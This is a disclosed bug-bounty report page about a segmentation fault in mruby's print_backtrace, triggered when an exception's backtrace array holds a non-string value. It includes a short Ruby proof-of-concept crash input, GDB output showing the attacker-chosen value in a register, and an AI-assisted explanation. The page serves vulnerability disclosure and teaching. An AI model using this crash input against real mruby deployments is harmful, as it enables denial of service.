Crash in print_backtrace
A crash occurs in mruby's print_backtrace function when an exception's backtrace array contains a non-string value, because the code treats it as a string and dereferences it. An attacker who can set the backtrace array can cause a segmentation fault, leading to denial of service.
- Triaged in 9 days
- Fixed in 11 days
- Paid in 25 days
- Disclosed after 26 days
This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array.
PoC
exc = Exception.new()
exc.set_backtrace([0x41414141])
raise exc
GDB
$ gdb -q --args ./bin/mruby test12.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test12.rb
trace:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000422b88 in print_backtrace (mrb=0x2333010, backtrace=...) at /home/tunz/working/mruby/mruby/src/backtrace.c:222
222 fprintf(stream, "\t[%d] %.*s\n", i, (int)RSTRING_LEN(entry), RSTRING_PTR(entry));
(gdb) x/i $pc
=> 0x422b88 <print_backtrace+130>: mov eax,DWORD PTR [rax]
(gdb) i r rax
rax 0x41414141 1094795585
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the print_backtrace function assumes every element in the backtrace array is a string and calls string functions on it without checking its type.
Impact
An attacker who can control the backtrace array can cause a segmentation fault, resulting in a denial of service.
What the attacker needed
Ability to set backtrace array
How it was found
- Create an Exception object.
- Set its backtrace to an array containing a non-string value.
- Raise the exception.
- Run the program under GDB to observe the crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report shows that a program can crash if it trusts data that an attacker can control. Here, the backtrace array is supposed to hold strings, but the attacker puts a number instead, and the program tries to read it as a string, causing a crash. This is a denial-of-service bug because it stops the program from working.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.